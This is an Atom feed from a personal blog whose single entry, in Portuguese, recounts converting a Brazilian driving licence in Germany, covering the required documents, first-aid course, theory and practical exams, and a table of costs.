<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>/dev/null</title>
 <link href="https://bvanelli.github.io/atom.xml" rel="self"/>
 <link href="https://bvanelli.github.io/"/>
 <updated>2025-07-19T12:08:07+00:00</updated>
 <id>https://bvanelli.github.io</id>
 <author>
   <name></name>
   <email></email>
 </author>

 
 <entry>
   <title>Weg zum Führerschein</title>
   <link href="https://bvanelli.github.io/2025/07/15/weg-zum-fuehrerschein/"/>
   <updated>2025-07-15T00:00:00+00:00</updated>
   <id>https://bvanelli.github.io/2025/07/15/weg-zum-fuehrerschein</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Como eu converti minha carteira de motorista na Alemanha — e porque o processo não é tão fácil (nem barato) como eu
esperava.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#a-lei&quot; id=&quot;markdown-toc-a-lei&quot;&gt;A lei&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#o-procedimento&quot; id=&quot;markdown-toc-o-procedimento&quot;&gt;O procedimento&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#preparação&quot; id=&quot;markdown-toc-preparação&quot;&gt;Preparação&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#teste-de-visão&quot; id=&quot;markdown-toc-teste-de-visão&quot;&gt;Teste de visão&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#curso-de-primeiros-socorros&quot; id=&quot;markdown-toc-curso-de-primeiros-socorros&quot;&gt;Curso de primeiros socorros&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#führerscheinstelle&quot; id=&quot;markdown-toc-führerscheinstelle&quot;&gt;&lt;em&gt;Führerscheinstelle&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#a-execução&quot; id=&quot;markdown-toc-a-execução&quot;&gt;A execução&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#a-prova-teórica&quot; id=&quot;markdown-toc-a-prova-teórica&quot;&gt;A prova teórica&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#as-aulas-de-direção&quot; id=&quot;markdown-toc-as-aulas-de-direção&quot;&gt;As aulas de direção&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#a-prova-prática&quot; id=&quot;markdown-toc-a-prova-prática&quot;&gt;A prova prática&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#führerscheinstelle-novamente&quot; id=&quot;markdown-toc-führerscheinstelle-novamente&quot;&gt;&lt;em&gt;Führerscheinstelle&lt;/em&gt; (novamente)&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tabela-de-custos&quot; id=&quot;markdown-toc-tabela-de-custos&quot;&gt;Tabela de custos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusão&quot; id=&quot;markdown-toc-conclusão&quot;&gt;Conclusão&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;

&lt;!-- Include MathJax to render LaTeX. This might not work --&gt;
&lt;script type=&quot;text/x-mathjax-config&quot;&gt;
  MathJax.Hub.Config({
      jax: [&quot;input/TeX&quot;,&quot;output/SVG&quot;],
      inlineMath: [[&apos;\(&apos;,&apos;\)&apos;]]
   });
&lt;/script&gt;

&lt;script type=&quot;text/javascript&quot; id=&quot;MathJax-script&quot; async=&quot;&quot; src=&quot;https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-svg.js&quot;&gt;
&lt;/script&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Importante:&lt;/strong&gt;&lt;/p&gt;

  &lt;p&gt;Se você planeja visitar a Alemanha, &lt;strong&gt;recomendo fortemente emitir sua PID&lt;/strong&gt;. Em muito casos é possível dirigir com sua
carteira de motorista original, mas alguns países e principalmente empresas que alugam carros podem rejeitar sua
carteira. É importante também ter o documento original, e não a CNH eletrônica.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;a-lei&quot;&gt;A lei&lt;/h1&gt;

&lt;p&gt;Inicialmente, carteiras de motorista Brasileiras são válidas na maior parte dos países do mundo. Conforme o 
&lt;a href=&quot;https://treaties.un.org/pages/ViewDetailsIII.aspx?src=TREATY&amp;amp;mtdsg_no=XI-B-19&amp;amp;chapter=11&quot;&gt;Tratado de Viena de 1968&lt;/a&gt;
(uma expansão do anterior &lt;a href=&quot;https://treaties.un.org/Pages/ViewDetailsV.aspx?src=TREATY&amp;amp;mtdsg_no=XI-B-1&amp;amp;chapter=11&amp;amp;Temp=mtdsg5&amp;amp;lang=en&quot;&gt;Tratado de Geneva de 1949&lt;/a&gt;),
Brasileiros podem dirigir em outros países integrantes dos acordos portando a carteira de motorista internacional,
ou Permissão Internacional para Dirigir (PID), que pode ser emitida pelo DETRAN ou pelo Automóvel Clube Brasileiro 
(ACBr).&lt;/p&gt;

&lt;p&gt;Confesso que achei algumas partes do documento curiosas, inclusive que, quando o Brasil entrou no tratado, em 1980, foi
o único país a se opor à residentes de países que dirigem no lado esquerdo da rua (como o Reino Unido) dirigirem em 
seu território, até realizarem uma prova prática para o lado direto. Eu fui pesquisar e essa restrição não existe mais,
mas é interessante imaginar quais que eram as inimizades naquele período para essas ações.&lt;/p&gt;

&lt;p&gt;Mas citando diretamente o Tratado de Viena:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[…] any international permit conforming to the provisions of Annex 7 to this Convention
as valid for driving in their territories a vehicle coming within the
categories covered by the permit, provided that the permit is still valid [..]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Isso significa que em princípio a PID é aceita normalmente para turistas brasileiros no exterior. No entanto, para
condição de residente, as regras são outras:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The provisions of this Article shall not require Contracting Parties [..] to recognize the validity of permits as 
aforesaid issued to drivers whose normal residence at the time of such issue was not in the territory in which the 
permit was issued or who since such issue have transferred their residence to another territory&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Nesse caso, fica a critério dos países signatários de estabelecer regras de transferência. Portugal, por exemplo,
passou em Setembro de 2023 a 
&lt;a href=&quot;https://www.gov.br/transportes/pt-br/assuntos/noticias/2023/09/brasileiro-cnh-portugal-validade&quot;&gt;aceitar carteiras de motorista de brasileiros sem necessidade de conversão&lt;/a&gt;.
Em outros países como a Croácia, a carteira pode ser simplesmente trocada após 
&lt;a href=&quot;https://mup.gov.hr/aliens-281621/information-regarding-driving-licence-and-road-traffic/exchanging-a-driving-licence/286588&quot;&gt;pagamento de taxa administrativa de 20,04 Euros&lt;/a&gt;
sem maiores problemas.&lt;/p&gt;

&lt;p&gt;No entanto, esse não é o caso da Alemanha: lá, a carteira &lt;strong&gt;é valida nos primeiros seis meses&lt;/strong&gt;, e, em casos especiais e 
com pedido de prorrogação, a validate pode ser extendida à até dose meses de validade.
Após esse período, a carteira é considerada inválida, e dirigir com ela já não é mais possível (legalmente).&lt;/p&gt;

&lt;p&gt;Nesse caso, é necessário inicia o procedimento de &lt;em&gt;“Umtausch”&lt;/em&gt;, ou “troca”. E é aí que começa a nossa história.&lt;/p&gt;

&lt;h1 id=&quot;o-procedimento&quot;&gt;O procedimento&lt;/h1&gt;

&lt;p&gt;Para o início do (longo) processo de conversão da carteira, são necessários os seguintes documentos:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Passporte válido&lt;/li&gt;
  &lt;li&gt;Uma &lt;a href=&quot;https://www.germany-visa.org/photo-requirements/&quot;&gt;foto biométrica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;A CNH física original, dentro da validade, &lt;strong&gt;com tradução oficial&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Teste de visão (pode ser realizado em qualquer ótica, &lt;strong&gt;geralmente&lt;/strong&gt; sem custo nenhum)&lt;/li&gt;
  &lt;li&gt;Curso de primeiro socorros (pode ser realizado com a Cruz Vermelha ou organizações similares)&lt;/li&gt;
  &lt;li&gt;Formulário de requisição de conversão. Nesse formulário, também é necessário informar a auto escola como quem você
realizará as provas teóricas e práticas (&lt;a href=&quot;https://www.stuttgart.de/medien/ibs/32-33-0853.pdf&quot;&gt;exemplo para Stuttgart&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Formulário extra com informações da prova teórica e prática. Para ser sincero esse formulário não consta nos 
requerimentos oficiais, e contém informações repetidas com o outro formulário acima, e é preenchido diretamente na
agência governamental. Não faço ideia do porquê de sua existência.&lt;/li&gt;
  &lt;li&gt;Confirmação do primeiro registro na Alemanha. Esse acredito ser opcional (no meu caso não foi necessário), mas
é o documento emitido ao realizar seu &lt;a href=&quot;./2019-06-09-estagio-na-alemanha.markdown#anmeldung&quot;&gt;primeiro &lt;em&gt;Anmeldung&lt;/em&gt;&lt;/a&gt; 
ao chegar no país.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Com relação à tradução, ela é infelizmente necessária caso sua carteira não seja emitida na língua alemã os esteja
nos conformes do padrão &lt;em&gt;Muster des Anhangs 6 des Übereinkommens über den Straßenverkehr vom 8. November 1968&lt;/em&gt;.
A tradução precisa feita por uma dessas entidades:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Clube de automobilismo alemão (por exemplo, ADAC, AvD, ACE)&lt;/li&gt;
  &lt;li&gt;Clube de automobilismos no país de emissão (nesse caso ACBr)&lt;/li&gt;
  &lt;li&gt;Tradutora oficial juramentada na Alemanha (ou &lt;em&gt;Dolmetscher&lt;/em&gt;, felizmente há um banco de dados com
&lt;a href=&quot;https://www.justiz-dolmetscher.de/Recherche/de/Suchen&quot;&gt;todas na sua região&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Entidade governamental no país de emissão (caso emitam oficialmente em língua alemã)&lt;/li&gt;
  &lt;li&gt;Capitão de um navio alemão (não, eu não inventei essa!)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;preparação&quot;&gt;Preparação&lt;/h1&gt;

&lt;h2 id=&quot;teste-de-visão&quot;&gt;Teste de visão&lt;/h2&gt;

&lt;p&gt;O teste de visão é simples e direto ao ponto: você só precisa provar que possui grau de correção abaixo do 0,5 
(miopia leve). Caso use correção, como óculos de grau, ela constará nas observações da sua carteira de motorista.&lt;/p&gt;

&lt;p&gt;Eu fiz pela &lt;em&gt;Optiker Binder&lt;/em&gt; (onde fiz o meu óculos) por ser mais prático. É possível agendar o procedimento
via site, fica pronto na hora e é gratuito:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/weg-zum-fuehrerschein/optiker-binder.png&quot; style=&quot;width: 100%;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;curso-de-primeiros-socorros&quot;&gt;Curso de primeiros socorros&lt;/h2&gt;

&lt;p&gt;O curso de primeiro socorros, dado no Brasil durante as aulas teóricas, é dado a parte por organizações especializadas.
O curso dura 9 horas-aula (aqui, assim como na aula de direção, 1 hora-aula equivalem a 45 minutos, 
totalizando 7,5h com uma pausa de 45 minutos) e é necessário estar presente durante todo o período.
Seu objetivo é te ensinar básicos de:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Como lidar com acidentes, e como ajudar nesses casos&lt;/li&gt;
  &lt;li&gt;Como tratar ferimentos de diversos tipos, includindo ossos quebrados e queimaduras&lt;/li&gt;
  &lt;li&gt;Posição de recuperação e ressuscitação&lt;/li&gt;
  &lt;li&gt;Uso de desfibrilador.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A minha experiência aqui foi… interessante. Eu me senti como se estivesse no episódio do The Office. Pensei se deveria
escrever sobre essa experiência, mas acho que foi tão cômica que decidi fazer.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://media2.giphy.com/media/v1.Y2lkPTc5MGI3NjExd3ptN29ldTlxNWlsZTRjOXJsN3dqYnFpNzdkZ3kwM2pvcGl3bnIwMiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/vJCAHwGZv7ZMV3bAK2/giphy.gif&quot; style=&quot;width: 50%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como, por lei, o curso deve durar 7,5h, isso significa que você não pode terminar eles antes. 
O que significou várias coisas: longas pausas para os professores fumarem, outras pausas para olhar a chuva 
correndo pelo lado de fora, pausa para comer, pausa para descansar da pausa…&lt;/p&gt;

&lt;p&gt;Os professores trouxeram um projetor que queriam conectar com um tablet por um cabo USB (???). Usei meus conhecimentos
de TI para dizer que isso não seria possível, então a aula seguiu então via um tablet sendo mostrado para todos os 
alunos (que eram 6). Seguimos de maneira tradicional, com monólogos do lado da professora, interrompidos por um silêncio
aterrador quando ela fazia alguma pergunta.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;— O que fazer no caso de um acidente?&lt;/p&gt;

  &lt;p&gt;&lt;em&gt;Silêncio&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;— Qual o primeiro passo?&lt;/p&gt;

  &lt;p&gt;&lt;em&gt;Silêncio&lt;/em&gt;&lt;/p&gt;

  &lt;p&gt;Eu murmuro alguma coisa sobre assegurar o local do acidente.&lt;/p&gt;

  &lt;p&gt;Aula continua normalmente. Do lado de fora chove torrencialmente.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Seguimos com algumas atividades práticas de como usar bandagens, como imobilizar um membro quebrado, como retirar 
alguém que esteja inconsciente de um carro. Massagem cardíaco no boneco enquanto as vozes da minha cabeça cantam 
&lt;em&gt;Staying alive&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Em algum momento um dos estudantes começa a passar mal, e vai para o canto da sala, se deita no chão e levanta suas pernas.
Nesse momento eu penso que é um bom exemplo para a aula de primeiros socorros. Aparentemente está tudo bem, voltemos
à matéria.&lt;/p&gt;

&lt;p&gt;No final da aula, para a alegria da quinta série, a tarefa foi de fazer um desenho e explicar os sintomas de 
determinados problemas de saúde, como insolação e queimaduras de pele. Logo após, matamos 30 minutos no celular 
para o fim do tempo regulamentar, recebemos o certificado escrito à mão, e seguimos para casa.&lt;/p&gt;

&lt;p&gt;Com o teste de visão certificado de curso de primeiros socorros, podemos seguir finalmente com os próximos passos.&lt;/p&gt;

&lt;h2 id=&quot;führerscheinstelle&quot;&gt;&lt;em&gt;Führerscheinstelle&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;Os documentos devem ser entregues preenchidos no departamento competente da sua cidade, chamado &lt;em&gt;“Führerscheinstelle”&lt;/em&gt;.
Após a entrega, você terá o período de 12 meses para completar as prova de direção teóricas e práticas. Segundo a
legislação, não é necessário ter aulas, mas é recomendável ter algumas aulas práticas para treinar.&lt;/p&gt;

&lt;p&gt;Parece fácil, mas é difícil.&lt;/p&gt;

&lt;p&gt;Assim como toda a agência pública alemã, a experiência não é das melhores. Para se ter uma ideia, mesmo a agência
da minha cidade abrindo às 8 da manhã, já havia uma fila de mais de 20 pessoas esperando. Como o processamento de cada
pessoa é puramente manual, o número de pessoas que podem ser atendidas é limitado. Por exemplo, antes mesmo de abrir
(às 7:50 da manhã), já havia uma placa dizendo que todos as senhas já haviam sido distribuídas:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/weg-zum-fuehrerschein/fuehererscheinstelle.jpg&quot; style=&quot;width: 50%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Esse processo é simples e direto ao ponto (apenas demorado), mas infelizmente tive que esperar nessa fila duas vezes, 
já que a primeira tradução da carteira foi rejeitada. Apesar de eu ter escolhido uma tradutora da &lt;a href=&quot;https://brasil.diplo.de/br-pt/servicos/tradutores-2596044&quot;&gt;Lista
de tradutores juramentados brasileiros&lt;/a&gt;, essas traduções só
são aceitas em repartições públicas alemãs &lt;em&gt;no Brasil&lt;/em&gt;. No entanto, como a minha tradutora não consta no banco de dados
oficial (e já que ela não era capitã de navio), a tradução teve que ser refeita mais uma vez na Alemanha.&lt;/p&gt;

&lt;p&gt;O erro foi obviamente meu por não se atentar a esse detalhe. No site consta esse adendo:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Um tradutor juramentado no Brasil não é considerado um tradutor público (öffentlich bestellter Übersetzer) 
na Alemanha, portanto, em alguns casos uma tradução feita por tradutor juramentado no Brasil pode ser rejeitada 
na Alemanha.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Entregues os documentos, há um tempo de espera até o recebimento da aprovação (como todo alemão gosta, pelos correios).
No meu caso, esse período foi de aproximadamente um mês, mas pode variar bastante. Com esse documento, você pode 
realizar a sua matrícula na autoescola.&lt;/p&gt;

&lt;h1 id=&quot;a-execução&quot;&gt;A execução&lt;/h1&gt;

&lt;h2 id=&quot;a-prova-teórica&quot;&gt;A prova teórica&lt;/h2&gt;

&lt;p&gt;A prova teória é misto de questões teóricas, práticas, tanto de perguntas técnicas (iluminação, motor, tempo de 
frenagem), como práticas (reconhecimento de situações de risco, comportamento no trânsito). A prova também é um 
divisor de águas, já que 
&lt;a href=&quot;https://www.tagesschau.de/wirtschaft/verbraucher/fuehrerschein-durchfallquote-fahrschule-100.html&quot;&gt;45% dos estudantes falham na primeira tentativa&lt;/a&gt;.
O teste é ofertada em diversas línguas, includindo português (de portugal). Eu fiz o meu teste diretamente em alemão
porque para mim foi bom para também aprender o vocabulário (palavras interessantíssimas como, por exemplo, &lt;em&gt;“abschleppstange”&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;No caso da classe B (carro), a prova consiste em 30 questões de múltipla escolha 
(onde uma ou mais opções estão corretas) de um banco de 1189 questões. Caso você erre ao assinalar qualquer uma das uma ou mais opções 
corretas, a questão será dada como incorreta. Cada questão tem um peso de 2 a 5, e você falha errando mais de 10 pontos
(ou duas questões com peso 5). Isso significa que você pode errar no &lt;strong&gt;máximo&lt;/strong&gt; 2-4 perguntas e ainda passar no teste.
Para dificultar, o teste tem muitas perguntas de vídeo onde você precisa observar o que está acontecendo na 
situação e qual é a reação apropriada. O teste se parece assim:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/weg-zum-fuehrerschein/prufung.jpeg&quot; style=&quot;width: 30%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Há vários aplicativos na Play Store que te 
ajudam a treinar as questões, para que você tenha visto todas as questões pelo menos uma vez, e eu &lt;strong&gt;recomendo 
fortemente que você pratique basicamente todas&lt;/strong&gt;. Existem boas fontes de preparação também online, eu recomendo, antes
de começar a praticar as questões, a fazer esse completíssimo 
&lt;a href=&quot;https://www.youtube.com/playlist?list=PLbe2OIosXJbkeqgwlE4O3CxnfEJA41gEs&quot;&gt;curso da Fahrschule Punkt no YouTube&lt;/a&gt;.
Além de ser curto e direto ao ponto, é de graça.&lt;/p&gt;

&lt;p&gt;Você pode tentar sua sorte em um &lt;a href=&quot;https://www.fuehrerscheintest-online.de/fuehrerscheintest-klasse-b&quot;&gt;simulador online&lt;/a&gt;
para ver como se sai. Se é a sua primeira tentativa, acredito que não bem.&lt;/p&gt;

&lt;p&gt;E como eu gosto de fórmulas matemáticas, achei válido que até esse artigo sobre teste de direção deveria ter uma.
Aqui vão as fórmulas que você &lt;strong&gt;precisa saber&lt;/strong&gt; para passar no teste:&lt;/p&gt;

\[\text{Tempo de reação} = \frac{\text{Velocidade}}{10} \times 3\]

\[\text{Tempo de frenagem} = \frac{\text{Velocidade}}{10} \times \frac{\text{Velocidade}}{10}\]

\[\text{Tempo de parada} = \text{Tempo de reação} + \text{Tempo de frenagem}\]

\[\text{Tempo de frenagem de emergência} = \frac{\text{Tempo de frenagem}}{2}\]

&lt;p&gt;Eu usei esse aplicativo por incontáveis horas, praticando regularmente, no caminho do trabalho e de volta para casa, 
até o aplicativo me dizer que eu estava pronto. O teste teórico ocorreu sem incidentes, devido à toda a preparação.
Se você não quiser contar com a sorte, recomendo que invista bastante tempo na preparação também. Muitas vezes eu 
pensei que estava pronto, só para ser esculachado por uma ou outra questão que eu não sabia no simulador.&lt;/p&gt;

&lt;p&gt;Vale lembrar que algumas questões mudam duas vezes ao ano. Confirme que as questões que você praticou são as mesmas 
que estarão na prova.&lt;/p&gt;

&lt;h2 id=&quot;as-aulas-de-direção&quot;&gt;As aulas de direção&lt;/h2&gt;

&lt;p&gt;Após passar na prova teórica, vieram as aulas de direção. Elas são agendadas diretamente com o seu instrutor.&lt;/p&gt;

&lt;p&gt;Aqui, meu truque para economizar foi ter aprendido o máximo possível pela internet antes mesmo de ter a primeira aula.&lt;/p&gt;

&lt;p&gt;O canal do YouTube &lt;a href=&quot;https://www.youtube.com/playlist?list=PLJl4Iyiss76d_sJ1H9qNi-WkWO2cwpU47&quot;&gt;So geht Führerschein!&lt;/a&gt; 
contém materiais excelentes de como proceder com a sinalização de trânsito. Ele ensina muito do que pode
acontecer na sua prova teórica, e como reagir a determinadas situações. Também ensina o básico do que evitar durante
a prova. E claro, o temido por todos &lt;em&gt;schulterblick&lt;/em&gt;, a olhadinha por cima do ombro para vistoriar o ponto cego.&lt;/p&gt;

&lt;p&gt;O canal &lt;a href=&quot;https://www.youtube.com/playlist?list=PLCFxmPvURJMImt7V-KvzFFqnrdoK5iliN&quot;&gt;German Driving School&lt;/a&gt; tem uma 
playlist excelente de vídeos de provas reais, que serve para você entender bem o que esperar da sua prova. O mais 
interessante desses vídeos é observar os vídeos de quem não passou e observar o motivo da falha, para evitar repetir.&lt;/p&gt;

&lt;p&gt;As aulas de direção foram tranquilas. Também foram uma formar de botar em prática e validar todo o conhecimento 
adquirido em preparação para prova. Além disso, é sempre bom dirigir antes pelas ruas por onde a prova prática pode 
passar, e nesse caso dá mais tranquilidade saber que você já passou por muitas delas antes.&lt;/p&gt;

&lt;p&gt;No total, eu fiz 3 aulas duplas (que consistem em 2 aulas de 45 minutos seguidas) de 90 minutos cada.&lt;/p&gt;

&lt;h2 id=&quot;a-prova-prática&quot;&gt;A prova prática&lt;/h2&gt;

&lt;p&gt;A prova prática tem duração de 55 minutos, e no meu caso começou e terminou no pátio da minha autoescola.
Dos 55 minutos, 30 minutos são dedicados exclusivamente à direção. A prova testa capacidades básicas de direção em 
diferente situações. Você deve, por exemplo, passar pelo menos uma vez em uma zona residencial, e pelo menos uma vez
em uma rodovia. Além disso, são tarefas básicas (&lt;em&gt;Grundaufgaben&lt;/em&gt;) do teste:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Estacionamento paralelo, ou curva pela calçada (um dos dois deve ser escolhido pelo avaliador)&lt;/li&gt;
  &lt;li&gt;Estacionamento de frente ou de ré, ou virar o carro na rua (um dos dois deve ser escolhido pelo avaliador)&lt;/li&gt;
  &lt;li&gt;Frenagem de emergência&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;É meio difícil explicar o que as tarefas são exatamente, por isso separei uma
&lt;a href=&quot;https://www.click-learn.de/fuehrerschein-tipps/waehrend-der-ausbildung/grundfahraufgaben-klasse-b/&quot;&gt;fonte com ilustrações do que elas significam&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A pontuação fica a critério do seu avaliador, e não existe um “método” para calcular se você passou ou não. Segundo
o regulamento, você não pode cometer &lt;strong&gt;nenhuma&lt;/strong&gt; das infrações consideradas graves, e &lt;strong&gt;poucas&lt;/strong&gt; infrações leves.
Teoricamente, você pode falhar com duas ou mais infrações leves, mas fica a cargo do avaliador decidir quantas. Aqui,
vale o bom senso: se você consegue mostrar que &lt;strong&gt;consegue se comportar adequadamente nas situações mais importantes&lt;/strong&gt;,
é possível que suas infrações leves sejam relevadas.&lt;/p&gt;

&lt;p&gt;Alguns exemplos de infrações graves:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Causar situação de perigo&lt;/li&gt;
  &lt;li&gt;Desrespeito ao direito de prioridade (por exemplo, &lt;em&gt;direita antes da esquerda&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Não parar por 3 segundos ou mais numa placa de Pare&lt;/li&gt;
  &lt;li&gt;Mudar a faixa sem observar nos espelhos&lt;/li&gt;
  &lt;li&gt;Furar sinal vermelho&lt;/li&gt;
  &lt;li&gt;Ultrapassar pela direita em uma rodovia&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;E alguns exemplos de infrações leves:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Esquecer a seta&lt;/li&gt;
  &lt;li&gt;Dirigir (levemente!) mais rápido do que o permitido&lt;/li&gt;
  &lt;li&gt;Dirigir muito mais devagar do que o permitido&lt;/li&gt;
  &lt;li&gt;Ignorar sinalização&lt;/li&gt;
  &lt;li&gt;Não manter distância de segurança&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A prova inicia com perguntas técnicas sobre o carro: coisas como apontar no motor onde fica o óleo e a água do 
radiador, como identificar as luzes traseiras, etc. Há bons vídeos como &lt;a href=&quot;https://www.youtube.com/watch?v=x2kkf0gvfFI&quot;&gt;esse&lt;/a&gt;
que tratam da maioria das perguntas técnicas. Não conseguir responder uma dessas perguntas 
&lt;strong&gt;pode levar a uma infração leve&lt;/strong&gt;, além de ser uma má primeira impressão para o avaliador.&lt;/p&gt;

&lt;p&gt;A minha prova ocorreu sem incidentes. Eu tive uma falha leve de deixar o carro morrer em um cruzamento, 
conseguindo recuperar rapidamente a situação. O avaliador relevou dizendo que nesse caso, como não houve risco a outras 
pessoas, isso não levaria à falha. As principais dicas aqui são:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Dirigir sempre com velocidade compatível com a via. Se a rua é estreita, diminua a velocidade. Respeite principalmente
as distâncias laterais do carro.&lt;/li&gt;
  &lt;li&gt;Muito cuidado para não cortar a frente de ninguém. Esse é o &lt;strong&gt;principal motivo das falhas na prova prática&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;Mostre &lt;strong&gt;visivelmente&lt;/strong&gt; que você está prestando atenção no que está ao seu redor. Se olhou para os espelhos ou para o 
lado, tenha certeza que foi visto por todos.&lt;/li&gt;
  &lt;li&gt;Evite pânico, mesmo se você tiver cometido uma infração leve. Quanto mais confiante você dirigir, maior a chance 
dessa falha ser deixada de lado.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ao completar a prova, me foi dado um documento confirmação. Esse documento precisa ser entregue às 
autoridades juntamente com a CNH brasileira original para a retirada da carteira alemã.&lt;/p&gt;

&lt;h2 id=&quot;führerscheinstelle-novamente&quot;&gt;&lt;em&gt;Führerscheinstelle&lt;/em&gt; (novamente)&lt;/h2&gt;

&lt;p&gt;No dia seguinte segui até o órgão oficial para retirada da carteira. Felizmente, não é necessário esperar na fila
somente para retirada. Voltei então feliz da vida, com o direto de dirigir oficialmente na Alemanha.&lt;/p&gt;

&lt;h1 id=&quot;tabela-de-custos&quot;&gt;Tabela de custos&lt;/h1&gt;

&lt;p&gt;Tabelei aqui os custos para você ter uma noção do gasto médio de conversão da carteira:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Custo (€)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Tradução juramentada&lt;/td&gt;
      &lt;td&gt;48,95&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Teste de vista&lt;/td&gt;
      &lt;td&gt;0,00&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Curso de primeiros socorros&lt;/td&gt;
      &lt;td&gt;48,99&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Submissão do pedido de aplicação no &lt;em&gt;Führerscheinstelle&lt;/em&gt;&lt;/td&gt;
      &lt;td&gt;42,60&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Prova teórica (TüV)&lt;/td&gt;
      &lt;td&gt;24,99&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Prova prática (TüV)&lt;/td&gt;
      &lt;td&gt;129,83&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Taxa de matrícula autoescola&lt;/td&gt;
      &lt;td&gt;530,00&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Taxa de inscrição na prova teórica&lt;/td&gt;
      &lt;td&gt;90,00&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Taxa de inscrição na prova prática&lt;/td&gt;
      &lt;td&gt;240,00&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Aulas de direção (6 aulas de 45 minutos, 75€ por aula)&lt;/td&gt;
      &lt;td&gt;450,00&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1605,36&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Sim, eu sei: uma facada. Mas não há muito o que fazer aqui, além de aceitar o fato.&lt;/p&gt;

